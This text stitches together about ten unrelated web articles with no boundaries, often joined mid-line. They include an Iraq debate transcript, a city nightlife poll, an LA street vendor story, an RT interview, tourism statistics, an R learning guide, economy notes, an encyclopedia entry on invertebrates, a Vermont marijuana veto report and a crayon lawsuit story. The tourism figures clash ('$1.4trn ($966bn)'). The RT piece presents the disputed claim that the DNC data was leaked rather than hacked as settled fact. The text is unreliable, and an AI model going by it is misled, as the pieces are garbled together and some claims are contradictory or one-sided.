We don't need armchair warriors. And if you feel so strongly, you should, with all due respect, enlist in the Iraqi army.
BILL KRISTOL: That's a very cute line, Katrina, but people...
VANDEN HEUVEL: No, no. But it's real...
(CROSSTALK)
KRISTOL: A million Iraqis...
VANDEN HEUVEL:... because look at the displaced million...
KRISTOL: Thousands of people are being killed...
(CROSSTALK)
KRISTOL: Can I just make a point?
VANDEN HEUVEL: A million Iraqis have been displaced. You gave that...
(CROSSTALK)
KRISTOL: Yes.
VANDEN HEUVEL:... humanitarian aid for what we have done to that country is a crime.
KRISTOL: We have done to that country? What we did to that country?
VANDEN HEUVEL: The war...
(CROSSTALK)
STEPHANOPOULOS: Katrina, let him respond.
KRISTOL: Yes, let me respond. The president of the United States, President Obama, said at the end of 2011, we have a stable and peaceful Iraq, thanks to the sacrifices mostly of American soldiers and marines, which we did.
President Bush made mistakes. He was punished for those mistakes electorally, as he should have been, in 2006 and perhaps in 2008. He also had the courage to order the surge in 2007 which made up for those mistakes and left things peaceful.
The president -- this president pulled out of Iraq in 2011. He let the Syrian civil war explode. And now we have a terrible situation.
VANDEN HEUVEL: The president signed an agreement in 2008 with the Iraqi government to withdraw. And President Obama tried to negotiate with Maliki, couldn't get a Status of Forces Agreement that would give immunity to our troops.
The issue now, and we were talking earlier, this country cannot pour more men, women, money into it. It needs diplomacy. It needs tough political resolution, and bringing the region together.Berlin has pipped London to the title of “most fun” city in a poll of travellers.
The German capital was among 1,800 cities ranked according to categories such as “bars”, “clubs”, “shopping”, “adult entertainment” and “activities”. Factors such as the average price of a beer, and whether or not public drinking is permitted, were also taken into account.
While it did not finish top in any major categories – London’s clubs and concerts, Tokyo’s bars and shops, and New York’s activities were voted the world’s best – it did enough across each area to warrant the number one spot. Berlin’s beer was also the cheapest of the top 25 cities.
The survey was commissioned by GetYourGuide – a travel review website - and GoEuro – a booking agent. It was based on an analysis of data on various websites around the world, such as TripAdvisor and Yelp, and a poll of almost 2,000 travellers.
Paris rounded out the top three; eight of the top 10 cities are European, while some of the more surprising cities to feature in the top 25 included Dubai, New Delhi, Macao and Moscow.
Rio reached just 18th on the list, and Bangkok only 22nd. See the rankings in full here.
There may also be accusations of bias – GoEuro is based in Berlin, after all.
Telegraph Travel’s Adrian Bridge, a former foreign correspondent who was in Berlin when the wall fell just over 25 years ago, recently described it as “possibly the coolest place on the planet” following a recent revisit.
“There are many journeys through Berlin,” he wrote. “There is the Berlin of great culture, of grand opera houses and masterful orchestral manoeuvres; the Berlin of artistic genius and the treasures of antiquity captured in the bust of a still fresh-faced Queen Nefertiti.
“There is the Berlin of a thousand nightclubs and myriad alcohol and drug-fuelled voyages of self-discovery into the dawn; the Berlin of cutting-edge fashion; of grand monuments and sweeping boulevards and fur-coated (frequently Russian) ladies.”
Paul Sullivan, our Berlin expert, said: "Berlin’s nightlife is justly world-renowned thanks to unpretentious dress codes, an inherently low-key/low-hype culture (many clubs are hidden away and don’t allow photography of any kind) - and a propensity to stay open until the last person is more or less stretchered out.
"From slick spots like Watergate and Weekend to industrial behemoths like Berghain and Stattbad Wedding, the party never seems to end here - and the beers and eventual taxi home won’t break your wallet either.”
Which is the most "fun" city in the world?
Some of the "other" suggestions have included: Munich, Madrid, Toronto, Beirut, Hong Kong, Bucharest, Edinburgh, Tel Aviv and, er, Mogadishu.The past week has seen Benjamín Ramírez, a soft-spoken street vendor who sells Mexican elotes and shaved ice from a pushcart in Hollywood, turn into a viral video sensation. Some say he is L.A.'s newest folk hero.
On July 17, Ramírez was standing beside his cart at the corner of Romaine and El Centro Streets in Hollywood when an Argentine man who was out walking his dog accosted the elote vendor about supposedly blocking the sidewalk. The bearded man in a Guns N’ Roses T-shirt was a familiar antagonist to Ramírez. "He’s said things before," Ramírez says. "Telling me I couldn’t sell here or block the sidewalk, and that I didn’t have permits to sell. I ignored him and left."
This time, Ramírez says, he started filming the man's complaints with his cellphone. On the video, Ramírez tells the man there is enough room for him to pass, to which the man responds with an ultimatum in Spanish: "Move the cart or I’ll move it for you."
Continue Reading
If you’re one of the 8.8 million viewers of the video since Ramirez's mother uploaded it to Facebook on July 24, you know what happens next: Ramírez stands his ground, the man hands the dog leash to a woman accompanying him, and he moves on the elote vendor brandishing what Ramírez says he believes was a stun gun. In self-defense, Ramírez tosses chili powder at the man and continues filming as the man, in a rage, seizes hold of the cart and overturns it. The cart spills utensils, coolers and food items — including plenty of fresh ears of corn — onto the sidewalk and into Romaine Street.
Ramírez’s ability to think on his feet, his presence of mind to continue filming the assault and, above all, his neutralizing the would-be assailant with, of all things, chili pepper — that symbol and staple of Mexican cuisine — elevated "the EveryHombre" into a hero, according to OC Weekly editor and columnist Gustavo Arellano.
Since the video was uploaded, Ramírez's folk-hero status has grown both online and IRL.
A meme that was sent to elotero Benjamín Ramírez Courtesy of Benjamín Ramírez
He has appeared at two public rallies organized by supporters of street vendors and foes of the displacement wrought by gentrification. A GoFundMe page set up to compensate Ramírez for the damage to his cart and loss of supplies has raised more than $8,000. Ramírez appeared at a Boyle Heights fundraiser on Thursday and on Friday he was a guest of honor at a concert held at Plaza de la Raza in Lincoln Park, where he met members of the band Los Lobos. His mother, Imelda Reyes, says she lost count of how many times people asked to take selfies with her son. “One of the members of Los Lobos told him, ‘You’re more famous than we are,'” Reyes says.
Last week, a Spanish-language radio station raffled off tickets to Disneyland as part of a promotional event with Ramírez held at the corner where his cart was dumped. The station had the cart hauled to the corner from Ramírez’s home, replete with its selection of flavored syrups, diced fruit and a solid block of ice. Customers flocked to the corner. Some brought Mexican or American flags, others double-parked and many formed a line for shaved ice that stretched around the block for hours. Ramírez says he even ran out of ice twice.
The same program, El Show del Mandril, surprised Ramírez on the air with the news that the station had hired a lawyer for him to pursue the vandalism charge against the man in the video. The lawyer would also help him to apply for a green card. “They made me cry,” Ramírez says. “It was the greatest news of my life.”
Ramírez was also a guest on Univision's morning radio program El Bueno, La Mala y El Feo. A famous Mexican singer-songwriter named Noel Torres was so moved by Ramírez's story that he donated a wad of bills out of his wallet on the air. Torres told Ramírez he had once made his living as a street vendor.
EXPAND Alejandro Ramirez prepares a shaved ice for a customer at a rally in support of his son Benjamín, a street vendor whose food cart was overturned by a neighbor who felt he was blocking the sidewalk. Jason McGahan
Musicians and artists of all kinds have used the video as inspiration.
Ramírez’s father Alex was modeling a newly made baseball cap emblazoned with the logo of a street vendor’s cart between two giant ears of corn with the slogan taken from Ramírez’s comment from viral video: “Me vale madre! De aquí no me muevo,” or “I don’t give a damn. I’m not moving from here.” Alex was selling the hats from his cart at $15 a pop and they sold out in less than a day. He says a shipment of graphic T-shirts is on the way.
If it’s true that every good hero should have some theme music, well, Ramírez has recently had two Mexican-style corrido folk songs dedicated to him.
"El Corrido de Benjamín Ramírez 'El Elotero'" is written and performed by The Mexican Standoff, an L.A.-based music group composed of musicians from Mexico and the United States. Ramírez and his father appear in the music video made for the song. "The whole idea of the band is stop racism, stop all this bullshit that's going on right now," says Fernández, the single-named performer on the track.
Another corrido for Ramírez, "El Elotero y el Argentino," was recorded by Mexican composer and radio producer El Morro. Both songs recount the events in the video and sprinkle in some words from Argentine slang to ridicule the assailant.
On Sunday afternoon, Ramírez's father served shaved ices and elotes to a steady crowd. Many of the residents of the neighborhood teased him in a good-natured way about his and his son's newfound fame. "Now that you're famous, make a special offer," one man said, "buy two elotes and get a free photo with the elote man."
Gastón Sánchez came to L.A. from San Diego for the annual Johnny Ramone Tribute at Hollywood Forever Cemetery and visited the corner to buy snacks with his family. Sánchez says his wife investigated online and figured out the location of the corner where the elote cart was flipped, and they came to see if they could find it. When they arrived, they embraced Alex Ramírez and expressed their support — and bought elotes and other snacks.
"It's a disgrace to see how someone could treat another human that way," Sánchez says. "Especially with his livelihood. How dare someone do that."NSA whistleblower William Binney spoke to RT about his recent meeting with CIA director Mike Pompeo, where they discussed accusations that Russia meddled in 2016 US presidential election by hacking the Democrats.
In an interview with RT America host Ed Schultz on Wednesday, Binney said tests have “clearly showed” the DNC was not hacked by Russia before the 2016 presidential election, but that the data was downloaded locally.
Binney met with CIA director Mike Pompeo on Wednesday to review analysis by the Veteran Intelligence Professionals for Sanity (VIPS), which challenged the notion that the Democratic National Committee (DNC) was hacked by Russia. In a letter to President Donald Trump, the group claims the “data was leaked (not hacked) by a person with physical access to DNC computers.”
After analyzing the data, VIPS concluded that the transfer simply does not support the claim the documents were hacked by Russian agents, as leaders of the US intelligence community claimed in a January report.
Binney also spoke with RT's Neil Harvey on Wednesday.
During the meeting, Binney shared test findings gleaned on the transfer rate of data, which he said “clearly showed that it was a local download and not an international hack.”
“It was very clear it was a local download, because of the speeds and all,” Binney said, explaining how his colleagues set up a test between a data center in New Jersey and another in the UK, and could not reproduce the download that took place on July 5, 2016.
The approximately 16GB of data was downloaded in two bursts, totaling 87 seconds, with a 12-minute pause between them.
“It had to be done locally,” Binney told RT America.
The data logs and the speed test were the only concrete evidence available for examination, he pointed out. “Everything else is speculation, and agenda- and emotionally-driven assertions.”
Read more
If the intelligence community had some factual evidence proving Russian hacking, that would be another matter, the NSA whistleblower said, but “so far they’ve produced nothing.”
When asked who could have been behind the leak, Binney said it may have been an “inside job,” but he couldn’t attribute it to anybody in particular, because “we never knew who did the download, or whether or not it went anywhere else.”
President John F. Kennedy presented aerial surveillance photos of Soviet missiles in Cuba during the 1962 missile crisis, Binney pointed out. Reagan presented Japanese radio intercepts of orders to shoot down the Korean airliner in 1983. No such evidence has been offered for the hacking accusation, though many lawmakers have described it as an act of war.
“They need to put up or shut up,” said Binney. He said he does not buy into such claims without any factual evidence, “and that’s basically what their situation is. They have zero evidence.”
However, if there was an agency who would be able to detect if the DNC was hacked, it would be the NSA, Binney said.
“If anybody did anything across the net, NSA has so many taps on the fiber network inside the US and around the world and so many traceroute programs embedded by the hundreds around the network, they would know where these packets went,” Binney told RT America.
The NSA and FBI “know a lot more than they're telling the president,” Binney added.
The analysis from VIPS implies the intelligence community is not telling the Trump administration what really happened, Binney said. They don’t want the American people to hear the truth either, he added.
“They’re hiding this. They keep the population ignorant, uninformed so they can manipulate them any way they want,” Binney said. “This is the same thing the mainstream media is doing.”
Mainstream media outlets have branded the VIPS analysis as “disputed,” “fringe,” or a “conspiracy theory” (Washington Post, NBC, and CNN respectively) while failing to apply the same level of skepticism to the US intelligence community narrative.
On Wednesday, the NSA whistleblower was repeatedly called Binney a “conspiracy theorist” in a CNN article about the meeting.
“That’s basically showing the shallow weakness of their argument,” Binney said. “They produce no facts whatsoever and simply throw labels at people to do character assassination.”Image copyright Getty Images
The UN World Tourism Organisation says tourism spending has outpaced global trade for the fourth year in a row.
The US followed by China are the world's most popular destinations, followed by France and Spain.
According to the UNWTO's figures, released earlier this month, international tourism grew by 4% in 2015 generating $1.4trn ($966bn).
In comparison, global trade increased by just 2.8% in 2015 according to the World Trade Organisation.
"Tourism is today a major category of international trade in services," said UNWTO Secretary-General Taleb Rifa.
In 2015, tourism accounted for 7% of the world's total exports up from 6% in the previous year.
Tourism spending, which includes accommodation, food, entertainment, and services, has helped to offset drops in exports that have occurred as commodity prices have fallen.
"Tourism has shown a strong capacity to compensate for weaker export revenue in many commodity and oil-exporting countries," said Mr. Rifai. "Tourism is increasingly an essential component of export diversification for many emerging economies as well as several advanced ones."
Falling commodity prices have lowered the overall value of imports for many countries. According to the CPB Netherlands Bureau of Economic Policy Analysis, 2015 was the worst year for world trade since 2009.
Top travellers
The increase in international tourism came even as attacks at transportation hubs and on airlines raised concerns about travellers' safety.
The US and China, along with the UK were the leading sources for outbound travellers.
The number of outbound tourist from China has risen every year since 2004 with their spending increasing by 25% last year.For newcomers, R code can look like old Egyptian hieroglyphs with its weird operators ( %in%, <-, ||, or %/% ). The R language has been said to have a steep learning curve and although there are many introductory courses and books (see R Resources), it’s hard to decide where to start.
Fortunately, I am here to help! The below is a six-step guide on how to learning R, using only open access (i.e., free!) materials.
Although oriented at complete newcomers, it will have you writing your own practical scripts and programs in no time: just start at #1 and work your way to coding mastery!
If you already feel comfortable with the basics of R — or don’t like basics — you can start at #5 and jump into practical learning via the tidyverse.
Good luck!!!
Step 1: An R Folder (15 min)
Create a directory for your R learning stuff somewhere on your computer. Download this (very) short introduction to R by Paul Torfs and Claudia Bauer and store it in that folder. Now read the introduction and follow the steps. It will help you install all R software on your own computer and familiarize you with the standard data types.
Step 2: Handy Cheat Sheets (15 min)
Many standard functions exist in R and after a while you will remember them by heart. For now, it’s good to have a dictionary or references close by hand. Download and read the cheat sheets for base R (Mhairi McNeill) and R base functions (Tom Short). Because you’ll be writing most of your R scripts in RStudio, it’s also recommended to have an RStudio cheat sheet as well as an RStudio keyboard shortcuts cheat sheet by hand.
Step 3: swirl Away in RStudio (8h)
Now you’re ready to really start learning and we’re going to accelerate via swirl. Open up your RStudio and enter the two lines of code below in your console window.
install.packages('swirl') #download swirl package library(swirl) #load in swirl package
swirl (webpage) will automatically start and after a couple of prompts you will be able to choose the learning course called 1: R Programming: The basics of programming in R (see below). This course consists of 15 modules via which you will master the basics of R in the environment itself. Start with module 1 and complete between one to three modules per day, so that you finish the swirl course in a week.
Starting up swirl in RStudio
swirl’s R 4 learning courses and the 15 modules belonging to the basics of R programming course
Step 4: A Pirate’s Guide to R (10h)
OK, you should now be familiar with the basics of R. However, knowledge is crystallized via repetition. I therefore suggest, you walk through the book YaRrr! The Pirate’s Guide to R (Phillips, 2017) starting in chapter 3. It’s a fun book and will provide you with more knowledge on how to program custom functions, loops, and some basic statistical modelling techniques – the thing R was actually designed for.
Step 5: R for Data Science (16h)
By now, you can say you might say you are an adapt R programmer with statistical modelling experience. However, you have been working with base R functions mostly, knowledge of which is a must-have to really understand the language. In practice, R programmers rely strongly on developed packages nevertheless. A very useful group of packages is commonly referred to as the tidyverse. You will be amazed at how much this set of packages simplifies working in R. The next step therefore, is to work through the book R for Data Science (Grolemund & Wickham, 2017) (hardcopy here).
Step 6: Specialize (∞)
You are now several steps and a couple of weeks further. You possess basic knowledge of the R language, know how to write scripts in RStudio, are capable of programming in base R as well as using the advanced functionality of the tidyverse, and you have even made a start with some basic statistical modelling.
It’s time to set you loose in the wonderful world of the R community. If you had not done this earlier, you should get accounts on Stack Overflow and Cross Validated. You might also want to subscribe to the R Help Mailing List, R Bloggers, and to my website obviously. On Twitter, have a look at #rstats and, on reddit, subscribe to the rstats, rstudio, and statistics threads. At this time, I can’t but advise you to return to the R Resources Overview and to continue broadening your R programming skills. Pick materials in the area that interests you:A few notes on the economy
1) While job growth is decent in the US, the essential job picture remains unchanged. The percentage of adults with jobs is still about where it was after the financial crisis, and wages are flat. The last US job report was good, but wages dropped. That is not an indication of a good job market.
2) The Eurozone is flirting with deflation, and commodities have heavily deflated (almost all of them, not just oil). This is due to reduced demand. Reduced demand is bad. Let me repeat, bad.
3) The reason there is reduced demand is because most people are poorer than they were pre financial crisis, and governments are engaged in austerity.
4) The stock market is a ponzi scheme. Its prices are justified by the fact that corporations are being given essentially free money by the Fed (directly or indirectly) and allowed to engage in oligopoly pricing of services which people must have (like the internet, or phone service). This has led to high profits, and some of those profits are pumped back into the stock market, which is in executives interests, so they can cash out their options at a profit.
5) The entire gain of this business cycle has gone to the top 10%, and by the top 10% we really mean to the top 3% or so, with the.1% and.01% being the real winners. The bottom 90% has lost ground.
6) Rich people buy securities. The middle class and below buy goods.
7) While low oil prices are good for many countries, that they are driven by soft demand is not good.
Predicting this economy remains difficult because it is driven by the decisions of a very few people. Less than a hundred worldwide are key. The people who can create money, as credit, are key. They are almost completely unhinged from the economy as a whole: money creation is fiat, and being treated as such.
The great realization of the financial crisis was “hey, we can just create money and give it to the people we approve of and no one can stop us.” The people they approve of, unfortunately, are rich people playing ponzi |
ranked): Filozoa Kingdom: Animalia Groups included All animal groups not in subphylum Vertebrata such as: Arthropoda Cnidaria Leptocardii Mollusca Tunicata and many more
Cladistically included but traditionally excluded taxa Vertebrata
Invertebrates are animals that neither possess nor develop a vertebral column (commonly known as a backbone or spine), derived from the notochord. This includes all animals apart from the subphylum Vertebrata. Familiar examples of invertebrates include arthropods (insects, arachnids, crustaceans, and myriapods), mollusks (chitons, snails, bivalves, squids, and octopuses), annelids (earthworms and leeches), and cnidarians (hydras, jellyfishes, sea anemones, and corals).
The majority of animal species are invertebrates; one estimate puts the figure at 97%.[1] Many invertebrate taxa have a greater number and variety of species than the entire subphylum of Vertebrata.[2]
Some of the so-called invertebrates, such as the Tunicata and Cephalochordata are more closely related to the vertebrates than to other invertebrates. This makes the invertebrates paraphyletic, so the term has little meaning in taxonomy.
Etymology
The word "invertebrate" comes from the Latin word vertebra, which means a joint in general, and sometimes specifically a joint from the spinal column of a vertebrate. The jointed aspect of vertebra is derived from the concept of turning, expressed in the root verto or vorto, to turn.[3] The prefix in- means "not" or "without".[4]
Taxonomic significance
The term invertebrates is not always precise among non-biologists since it does not accurately describe a taxon in the same way that Arthropoda, Vertebrata or Manidae do. Each of these terms describes a valid taxon, phylum, subphylum or family. "Invertebrata" is a term of convenience, not a taxon; it has very little circumscriptional significance except within the Chordata. The Vertebrata as a subphylum comprises such a small proportion of the Metazoa that to speak of the kingdom Animalia in terms of "Vertebrata" and "Invertebrata" has limited practicality. In the more formal taxonomy of Animalia other attributes that logically should precede the presence or absence of the vertebral column in constructing a cladogram, for example, the presence of a notochord. That would at least circumscribe the Chordata. However, even the notochord would be a less fundamental criterion than aspects of embryological development and symmetry[5] or perhaps bauplan.[6]
Despite this, the concept of invertebrates as a taxon of animals has persisted for over a century among the laity,[7] and within the zoological community and in its literature it remains in use as a term of convenience for animals that are not members of the Vertebrata.[8] The following text reflects earlier scientific understanding of the term and of those animals which have constituted it. According to this understanding, invertebrates do not possess a skeleton of bone, either internal or external. They include hugely varied body plans. Many have fluid-filled, hydrostatic skeletons, like jellyfish or worms. Others have hard exoskeletons, outer shells like those of insects and crustaceans. The most familiar invertebrates include the Protozoa, Porifera, Coelenterata, Platyhelminthes, Nematoda, Annelida, Echinodermata, Mollusca and Arthropoda. Arthropoda include insects, crustaceans and arachnids.
Number of extant species
By far the largest number of described invertebrate species are insects. The following table lists the number of described extant species for major invertebrate groups as estimated in the IUCN Red List of Threatened Species, 2014.3.[9]
The IUCN estimates that 66,178 extant vertebrate species have been described,[9] which means that over 95% of the described animal species in the world are invertebrates.
Characteristics
The trait that is common to all invertebrates is the absence of a vertebral column (backbone): this creates a distinction between invertebrates and vertebrates. The distinction is one of convenience only; it is not based on any clear biologically homologous trait, any more than the common trait of having wings functionally unites insects, bats, and birds, or than not having wings unites tortoises, snails and sponges. Being animals, invertebrates are heterotrophs, and require sustenance in the form of the consumption of other organisms. With a few exceptions, such as the Porifera, invertebrates generally have bodies composed of differentiated tissues. There is also typically a digestive chamber with one or two openings to the exterior.
Morphology and symmetry
The body plans of most multicellular organisms exhibit some form of symmetry, whether radial, bilateral, or spherical. A minority, however, exhibit no symmetry. One example of asymmetric invertebrates includes all gastropod species. This is easily seen in snails and sea snails, which have helical shells. Slugs appear externally symmetrical, but their pneumostome (breathing hole) is located on the right side. Other gastropods develop external asymmetry, such as Glaucus atlanticus that develops asymmetrical cerata as they mature. The origin of gastropod asymmetry is a subject of scientific debate.[10]
Other examples of asymmetry are found in fiddler crabs and hermit crabs. They often have one claw much larger than the other. If a male fiddler loses its large claw, it will grow another on the opposite side after moulting. Sessile animals such as sponges are asymmetrical[11] alongside coral colonies (with the exception of the individual polyps that exhibit radial symmetry); alpheidae claws that lack pincers; and some copepods, polyopisthocotyleans, and monogeneans which parasitize by attachment or residency within the gill chamber of their fish hosts).
Nervous system
Neurons differ in invertebrates from mammalian cells. Invertebrates cells fire in response to similar stimuli as mammals, such as tissue trauma, high temperature, or changes in pH. The first invertebrate in which a neuron cell was identified was the medicinal leech, Hirudo medicinalis.[12][13]
Learning and memory using nociceptors in the sea hare, Aplysia has been described.[14][15][16] Mollusk neurons are able to detect increasing pressures and tissue trauma.[17]
Neurons have been identified in a wide range of invertebrate species, including annelids, molluscs, nematodes and arthropods.[18][19]
Respiratory system
Tracheal system of dissected cockroach. The largest tracheae run across the width of the body of the cockroach and are horizontal in this image. Scale bar, 2 mm.
The tracheal system branches into progressively smaller tubes, here supplying the crop of the cockroach. Scale bar, 2.0 mm.
One type of invertebrate respiratory system is the open respiratory system composed of spiracles, tracheae, and tracheoles that terrestrial arthropods have to transport metabolic gases to and from tissues.[20] The distribution of spiracles can vary greatly among the many orders of insects, but in general each segment of the body can have only one pair of spiracles, each of which connects to an atrium and has a relatively large tracheal tube behind it. The tracheae are invaginations of the cuticular exoskeleton that branch (anastomose) throughout the body with diameters from only a few micrometres up to 0.8 mm. The smallest tubes, tracheoles, penetrate cells and serve as sites of diffusion for water, oxygen, and carbon dioxide. Gas may be conducted through the respiratory system by means of active ventilation or passive diffusion. Unlike vertebrates, insects do not generally carry oxygen in their haemolymph.[21]
A tracheal tube may contain ridge-like circumferential rings of taenidia in various geometries such as loops or helices. In the head, thorax, or abdomen, tracheae may also be connected to air sacs. Many insects, such as grasshoppers and bees, which actively pump the air sacs in their abdomen, are able to control the flow of air through their body. In some aquatic insects, the tracheae exchange gas through the body wall directly, in the form of a gill, or function essentially as normal, via a plastron. Note that despite being internal, the tracheae of arthropods are shed during moulting (ecdysis).[22]
Reproduction
Like vertebrates, most invertebrates reproduce at least partly through sexual reproduction. They produce specialized reproductive cells that undergo meiosis to produce smaller, motile spermatozoa or larger, non-motile ova.[23] These fuse to form zygotes, which develop into new individuals.[24] Others are capable of asexual reproduction, or sometimes, both methods of reproduction.
Social interaction
Social behavior is widespread in invertebrates, including cockroaches, termites, aphids, thrips, ants, bees, Passalidae, Acari, spiders, and more.[25] Social interaction is particularly salient in eusocial species but applies to other invertebrates as well.
Insects recognize information transmitted by other insects.[26][27][28]
Phyla
Cladocora from the The fossil coralfrom the Pliocene of Cyprus
The term invertebrates covers several phyla. One of these are the sponges (Porifera). They were long thought to have diverged from other animals early.[29] They lack the complex organization found in most other phyla.[30] Their cells are differentiated, but in most cases not organized into distinct tissues.[31] Sponges typically feed by drawing in water through pores.[32] Some speculate that sponges are not so primitive, but may instead be secondarily simplified.[33] The Ctenophora and the Cnidaria, which includes sea anemones, corals, and jellyfish, are radially symmetric and have digestive chambers with a single opening, which serves as both the mouth and the anus.[34] Both have distinct tissues, but they are not organized into organs.[35] There are only two main germ layers, the ectoderm and endoderm, with only scattered cells between them. As such, they are sometimes called diploblastic.[36]
The Echinodermata are radially symmetric and exclusively marine, including starfish (Asteroidea), sea urchins, (Echinoidea), brittle stars (Ophiuroidea), sea cucumbers (Holothuroidea) and feather stars (Crinoidea).[37]
The largest animal phylum is also included within invertebrates: the Arthropoda, including insects, spiders, crabs, and their kin. All these organisms have a body divided into repeating segments, typically with paired appendages. In addition, they possess a hardened exoskeleton that is periodically shed during growth.[38] Two smaller phyla, the Onychophora and Tardigrada, are close relatives of the arthropods and share these traits. The Nematoda or roundworms, are perhaps the second largest animal phylum, and are also invertebrates. Roundworms are typically microscopic, and occur in nearly every environment where there is water.[39] A number are important parasites.[40] Smaller phyla related to them are the Kinorhyncha, Priapulida, and Loricifera. These groups have a reduced coelom, called a pseudocoelom. Other invertebrates include the Nemertea or ribbon worms, and the Sipuncula.
Another phylum is Platyhelminthes, the flatworms.[41] These were originally considered primitive, but it now appears they developed from more complex ancestors.[42] Flatworms are acoelomates, lacking a body cavity, as are their closest relatives, the microscopic Gastrotricha.[43] The Rotifera or rotifers, are common in aqueous environments. Invertebrates also include the Acanthocephala or spiny-headed worms, the Gnathostomulida, Micrognathozoa, and the Cycliophora.[44]
Also included are two of the most successful animal phyla, the Mollusca and Annelida.[45][46] The former, which is the second-largest animal phylum by number of described species, includes animals such as snails, clams, and squids, and the latter comprises the segmented worms, such as earthworms and leeches. These two groups have long been considered close relatives because of the common presence of trochophore larvae, but the annelids were considered closer to the arthropods because they are both segmented.[47] Now, this is generally considered convergent evolution, owing to many morphological and genetic differences between the two phyla.[48]
Among lesser phyla of invertebrates are the Hemichordata, or acorn worms,[49] and the Chaetognatha, or arrow worms. Other phyla include Acoelomorpha, Brachiopoda, Bryozoa, Entoprocta, Phoronida, and Xenoturbellida.
Classification of invertebrates
Invertebrates can be classified into several main categories, some of which are taxonomically obsolescent or debatable, but still used as terms of convenience. Each however appears in its own article at the following links.[50]
History
The earliest animal fossils appear to be those of invertebrates. 665-million-year-old fossils in the Trezona Formation at Trezona Bore, West Central Flinders, South Australia have been interpreted as being early sponges.[51] Some paleontologists suggest that animals appeared much earlier, possibly as early as 1 billion years ago.[52] Trace fossils such as tracks and burrows found in the Tonian era indicate the presence of triploblastic worms, like metazoans, roughly as large (about 5 mm wide) and complex as earthworms.[53]
Around 453 MYA, animals began diversifying, and many of the important groups of invertebrates diverged from one another. Fossils of invertebrates are found in various types of sediment from the Phanerozoic.[54] Fossils of invertebrates are commonly used in stratigraphy.[55]
Classification
Carl Linnaeus divided these animals into only two groups, the Insecta and the now-obsolete Vermes (worms). Jean-Baptiste Lamarck, who was appointed to the position of "Curator of Insecta and Vermes" at the Muséum National d'Histoire Naturelle in 1793, both coined the term "invertebrate" to describe such animals and divided the original two groups into ten, by splitting Arachnida and Crustacea from the Linnean Insecta, and Mollusca, Annelida, Cirripedia, Radiata, Coelenterata and Infusoria from the Linnean Vermes. They are now classified into over 30 phyla, from simple organisms such as sea sponges and flatworms to complex animals such as arthropods and molluscs.
Significance of the group
Invertebrates are animals without a vertebral column. This has led to the conclusion that invertebrates are a group that deviates from the normal, vertebrates. This has been said to be because researchers in the past, such as Lamarck, viewed vertebrates as a "standard": in Lamarck's theory of evolution, he believed that characteristics acquired through the evolutionary process involved not only survival, but also progression toward a "higher form", to which humans and vertebrates were closer than invertebrates were. Although goal-directed evolution has been abandoned, the distinction of invertebrates and vertebrates persists to this day, even though the grouping has been noted to be "hardly natural or even very sharp." Another reason cited for this continued distinction is that Lamarck created a precedent through his classifications which is now difficult to escape from. It is also possible that some humans believe that, they themselves being vertebrates, the group deserves more attention than invertebrates.[56] In any event, in the 1968 edition of Invertebrate Zoology, it is noted that "division of the Animal Kingdom into vertebrates and invertebrates is artificial and reflects human bias in favor of man's own relatives." The book also points out that the group lumps a vast number of species together, so that no one characteristic describes all invertebrates. In addition, some species included are only remotely related to one another, with some more related to vertebrates than other invertebrates (see Paraphyly).[57]
In research
For many centuries, invertebrates were neglected by biologists, in favor of big vertebrates and "useful" or charismatic species.[58] Invertebrate biology was not a major field of study until the work of Linnaeus and Lamarck in the 18th century.[58] During the 20th century, invertebrate zoology became one of the major fields of natural sciences, with prominent discoveries in the fields of medicine, genetics, palaeontology, and ecology.[58] The study of invertebrates has also benefited law enforcement, as arthropods, and especially insects, were discovered to be a source of information for forensic investigators.[38]
Two of the most commonly studied model organisms nowadays are invertebrates: the fruit fly Drosophila melanogaster and the nematode Caenorhabditis elegans. They have long been the most intensively studied model organisms, and were among the first life-forms to be genetically sequenced. This was facilitated by the severely reduced state of their genomes, but many genes, introns, and linkages have been lost. Analysis of the starlet sea anemone genome has emphasised the importance of sponges, placozoans, and choanoflagellates, also being sequenced, in explaining the arrival of 1500 ancestral genes unique to animals.[59] Invertebrates are also used by scientists in the field of aquatic biomonitoring to evaluate the effects of water pollution and climate change.[60]
See also
References
Further readingMONTPELIER, Vt. — Republican Gov. Phil Scott on Wednesday vetoed a bill that would have made Vermont the ninth state to legalize recreational marijuana but indicated that he was willing to work with the Legislature on a compromise.
Scott said he was sending the bill back with suggestions for another path forward and called for changes to be made to the proposal, such as more aggressive penalties for smoking pot while driving or in the presence of children.
“We must get this right,” said Scott, who is hoping the Legislature can make the fixes during a veto session in late June.
Scott has said he’s not philosophically opposed to marijuana legalization but has concerns about public safety, children’s health and how to measure impaired drivers.
Under the legislation, small amounts of marijuana would have been legal to possess and grow for anyone over age 21.
Eight other states, plus the District of Columbia, have legalized recreational marijuana. Vermont would have been the first state to legalize marijuana by vote of a state legislative body. The other states and D.C. legalized marijuana after public referendums.
Legalization advocates said that although they were disappointed by the veto, they were encouraged there’s a path forward.
“We are all concerned about youth safety and roadside safety,” said Laura Subin, director of the Vermont Coalition to Regulate Marijuana. “We hope we can work with the governor and the legislature to come up with a proposal that reflects those priorities.”
Studies by the Vermont Department of Health have found that Vermont has among the highest prevalence of marijuana use in the country and the second-highest use among people ages 12 to 25.
Vermont’s legislature passed the measure six months after residents in Massachusetts and Maine voted to legalize the recreational use of marijuana. Both states are now developing mechanisms to regulate and tax the sale of marijuana. The New Hampshire Legislature is considering a bill to decriminalize the possession of small amounts of marijuana.
Besides seeking more aggressive penalties for people who smoke marijuana while driving or while in the presence of children, he is also calling for an expansion of a commission that would develop a proposal to tax and regulate marijuana. He wants it to include representatives from the Vermont departments of Public Safety, Health and Taxes as well as the substance abuse prevention and treatment community.
He says the panel should have a year before making recommendations.
Nearly 20 states have bills pending that would legalize marijuana for adults, according to the National Conference of State Legislatures.Indian student sues for £100,000 compensation for hurt feelings after box of crayons contained a pink one labelled ‘skin’ colour
Chirayu Jain, 19, is studying at the National Law School of India University
Says he was shocked when he opened up the box of crayons
Discovered that the lighter pink crayon had been labelled'skin'
An Indian law student is demanding £100,000 compensation after claiming that his feelings had been hurt by a 'racist' pink children's crayon sold by one of India's largest stationery manufacturers.
Chirayu Jain, 19, who is studying at the National Law School of India University said he was shocked when he opened up the box of crayons to discover that the lighter pink crayon had been labelled'skin'.
In the complaint he said: 'On opening the box, I discovered that the'special skin crayon' was of a shade that did not match my own skin colour.
An Indian law student is demanding £100,000 compensation payment after claiming that his feelings had been hurt by a racist pink children's crayon sold by one of India's largest stationery manufacturers
'This can only be explained by the fact that the'special skin crayon' which is part of the product line is either defective or labelled misleadingly or both.
